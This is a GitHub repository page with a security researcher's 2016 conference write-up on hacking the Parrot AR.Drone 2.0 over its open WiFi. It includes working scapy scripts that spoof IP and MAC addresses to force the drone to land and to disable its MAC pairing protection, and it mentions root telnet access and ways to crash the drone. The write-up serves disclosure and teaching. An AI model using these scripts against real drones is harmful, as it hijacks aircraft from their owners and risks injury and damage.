• Stars
    star
    107
  • Rank 323,587 (Top 7 %)
  • Language
    Python
  • Created over 8 years ago
  • Updated almost 8 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

This is the write-up of my research presented at the Ethical Hacking Conference Budapest in May 2016

Let's hack a drone!

This is the write-up of my research presented at the Ethical Hacking Conference Budapest in May 2016. You can watch the video on YouTube (in Hungarian). Presenting

Getting to know the drone

I used the Parrot AR.Drone 2.0 for my research. This drone can be controlled with a mobile app through WiFi. When the drone is powered up it creates a WiFi network (open network, no password), and then the pilot connects to that network with his phone, starts the app and flies the drone. On how to fly the drone, check out this video by Parrot:

AR.Drone 2.0 Tutorial video #2 : Pilot

Discovery

So the drone uses open WiFi. Let's connect to it with the computer! Run an nmap scan to discover open ports on the drone:

Nmap scan result

Ftp

Let's try ftp first! Simply just connect to 192.168.1.1 without any username or password, and we have access to the directory of the drone, where it stores the recorded videos!

Filezilla

Telnet

As we saw in the nmap scan the drone has a telnet service listening, let's connect to it!

Telnet access

Wow, it's running linux and we have root access to the device! At this point we could simply issue a shutdown now and watch the drone fall down, but that might hurt the drone, so let's find a nicer solution to land it.

Looking at the communication

Let's fire up Wireshark, and look at the communication between the phone and the drone.

Wireshark

Wow, Wireshark recognizes the protocol of AR.Drone! Let's look at the details. It is a UDP packet from port 5556 to port 5556. This exact packet has two commands: a PCMD_MAG and a REF.

PCMD_MAG sets the velocity of the drone in each direction. Since right now the drone is lying on the ground, it sets all numbers to 0. REF is used to issue high level commands like 'take off', 'emergency stop/reset' or 'land'. Since it's on the ground now, the phone constantly sends the 'land' command. (Source: AR.Drone Developer Guide)

Both commands have a Sequence Number. This number is used to prevent older commands from being accepted, so the drone only accepts packets with higher sequence number than the previous one. The counter can be reset to 1 by either not sending any control packet to the drone for 2 seconds, or sending a packet with seqNr 1. (The packet with seqNr 1 will be accepted and then the counter is reset.)

Fake a land packet

What if we send a packet with a very high sequence number? Let's try it! To prevent multiple phones trying to control the drone, the drone only accepts packets from the source IP of the controller. (The controller is defined as the first device which starts sending control packets.) But since it's UDP, we can simply spoof the IP of my phone. I used the python module scapy to do this. Make sure you run this code as root, otherwise it won't work.

from scapy.all import *
from time import sleep

srcIP = '192.168.1.2' # my phone's IP
dstIP = '192.168.1.1' # drone's IP
srcPort = 5556 # source port
dstPort = 5556 # destination port

payload = "AT*REF=1000000,290717696\r"
print payload
spoofed_packet = IP(src=srcIP, dst=dstIP) / UDP(sport=srcPort, dport=dstPort) / payload
send(spoofed_packet)

It takes over the drone and lands it. The owner has no longer control, and he can only get it back by restarting the app (in the case it will send a packet with seqNr 1, which resets the counter). For the demo I extended this code to first send 10 packets with 1000000+ sequence number, then wait for 5 seconds to show the owner has no longer control and then send a packet with seqNr 1 to restore control. You can access this code here.

Of course we can send other packets in the same way. We can rotate the drone, don't let it land (by constantly sending take-off packets with seqNr 1) or set the velocity to maximum, and smash the drone to the wall. I used the land command for the demo, because that's the easiest (and probably the safest) thing to show.

Security control?

You could say: that was too easy, there must be some sort of security control which can be enabled by the owner to prevent this attack. In fact, there is, and it's called 'Pairing'. It can be enabled in the settings of the app. Since we have full telnet access to the drone, it was easy to find the setup script of this feature under /bin/pairing_setup.sh. This script sets up the following IP tables rules:

NULL_MAC=00:00:00:00:00:00
if [ $MAC_ADDR != $NULL_MAC ]
then
# Clearing all rules
iptables -P INPUT ACCEPT
iptables -F
# Allowing only owner's traffic
iptables -A INPUT -m mac --mac-source $MAC_ADDR -j ACCEPT
# allowing ICMP (ping), ftp and nfs traffic for everyone.
# Telnet is only allowed for paired user
iptables -A INPUT --protocol icmp -j ACCEPT
#iptables -A INPUT --protocol tcp --dport 23 -j ACCEPT
iptables -A INPUT --protocol tcp --dport 21 -j ACCEPT
iptables -A INPUT --protocol tcp --dport 2049 -j ACCEPT
# Blocking all incoming traffic by default
iptables -P INPUT DROP
else
# Clearing all rules
iptables -F
# Allows incoming connections from anywhere outside
iptables -P INPUT ACCEPT
fi

But this doesn't prevent anyone from connecting to the drone's WiFi, the drone will only drop the packets if the MAC address is not the one it is paired with (and if the accessed service is not icmp, ftp or nfs). So of course if we would use the same script as before, that won't work, since the drone would drop our packets. But we can simply spoof the source MAC address too:

from scapy.all import *
from time import sleep

srcIP = '192.168.1.2' # my phone's IP
dstIP = '192.168.1.1' # drone's IP
srcPort = 5556 # source port
dstPort = 5556 # destination port
srcMAC = '58:44:98:13:80:6c' # my phone's MAC
dstMAC = '90:03:b7:e8:55:72' # drone's MAC

payload = "AT*REF=1000000,290717696\r"
print payload
spoofed_packet = Ether(src=srcMAC, dst=dstMAC) / IP(src=srcIP, dst=dstIP) / UDP(sport=srcPort, dport=dstPort) / payload
sendp(spoofed_packet, iface="wlan0")

For the demo I again sent 10 packets, then restored the control after 5 seconds. Here is the code.

Of course manually setting the MAC and IP isn't the most convenient thing, so I wrote a script which sniffs for parrot packets, then parses the IP and MAC addresses and send the land packets using those addresses. It is available here. All you need to do is connect to a Parrot's WiFi and then run the script.

Turn pairing off

So we saw, that pairing won't stop us from taking over the drone and make it do whatever we want it to do, but it successfully stops us from accessing it via telnet. Of course we could change our MAC address, but I found a way to simply turn off the feature remotely. Let's look at the communication when the feature is enabled:

Turn on pairing

So the same UDP based protocol is used to turn on pairing as we just spoofed above! To turn off pairing all we need to do is to set network:owner_mac to 00:00:00:00:00:00. Actually the things are not exactly the same as above, because the CONFIG packet will be only accepted if the previous packet is a CONFIG_IDS with the proper session, user and application id. So first we need to sniff these id's, and then spoof the two control packets (they can be in one UDP packet, as it can be seen in the Wireshark capture. Simply separate them with \r):

from scapy.all import *
from time import sleep

srcIP = '192.168.1.2'
dstIP = '192.168.1.1'
srcPort = 5556
dstPort = 5556
srcMAC = '58:44:98:13:80:6c'
dstMAC = '90:03:b7:e8:55:72'

macfilteroff = "AT*CONFIG_IDS=1,\"6d284a13\",\"6b8ae8b1\",\"96e3654b\"\rAT*CONFIG=2,\"network:owner_mac\",\"00:00:00:00:00:00\"\r" 

payload = macfilteroff
spoofed_packet = Ether(src=srcMAC, dst=dstMAC) / IP(src=srcIP, dst=dstIP) / UDP(sport=srcPort, dport=dstPort) / payload

for i in range(1, 10):
	sendp(spoofed_packet, iface="wlan0")
	sleep(0.3);

The code is also available here. The packet is sent 10 times, just to make sure it arrives. Of course the same way we could set the mac to our own mac address, and then the owner has no longer control over the drone. Since the MAC is saved in the config file a simple restart won't affect this attack. The owner needs to reset the drone by pressing the reset button for 10 seconds. (This will restore the config file to the default one, thus turning pairing off.)

Further research & readings

There is a problem with the last attack: you need to sniff the session, user and application id first, and these are only sent if the user changes some settings. To enforce them being sent we can send a disconnect packet to the phone, and then let it connect back to the drone. After successful connection the phone starts with sending some configs, so then we can easily sniff the ids.

An other attack called SkyJack was presented by Samy Kamkar. He sends disconnect packets to the phone, and connects to the drone. Then he is the one who was connected to the drone first, so the drone will accept packets only from him.

To prevent these attacks the drone owner have to cross-compile and upload some libraries to the drone to enable WiFi encryption. On how to do it there is a nice conference paper "Hacking and securing the AR.Drone 2.0 quadcopter - Investigations for improving the security of a toy".

More Repositories

1

FakeBeaconESP8266

Fake beacon frames for ESP8266 using the Arduino IDE
Arduino
139
star
2

tapo-c200-timelapse

This is my setup to take time-lapse videos from my balcony with a Raspberry Pi using a TP-Link Tapo C200 IP-Camera
Python
91
star
3

Hacktivity2016

Repository for my workshop 'Wifi hacking with a 4 dollar microcontroller' on Hacktivity 2016
Arduino
41
star
4

PostQ

Webbased post-quantum messenger application
JavaScript
25
star
5

Marks-Pentest-Challenge

Small challenge I set up on my Raspberry Pi for my classmates
PHP
8
star
6

MyOSCPexperience

My OSCP experience and advices
Perl
4
star
7

EIT_EuropeanCyberWeek2016

This is the codebase for my poster at European Cyber Week 2016 in Rennes
Arduino
4
star
8

FlowerCareRegister

Android app to register the Chinese versions of the Flower Care Smart Monitor (aka Xiaomi Flower Monitor Tool) outside China.
Java
3
star
9

ProgrammingExercises

This repository started as a 100 Day Programming Challenge, but I gave up after 10 days. It required too much time. I started to work on other project, and also university had begun.
HTML
3
star
10

bubiplus

Unofficial mobile app for the Bubi public bike system
TypeScript
3
star
11

istio-crosscluster-workaround-for-eks

Workaround for multi-network cross-cluster istio communication being broken on EKS (ref: https://github.com/istio/istio/issues/29359)
Shell
2
star
12

AndroidWifiPasswordExtractor

Simple app to extract saved Wifi passwords on a rooted Android phone
Java
1
star
13

WiFree

Java
1
star
14

HoneypIoT

Python-based honeypot to analyze the threats of IoT
Python
1
star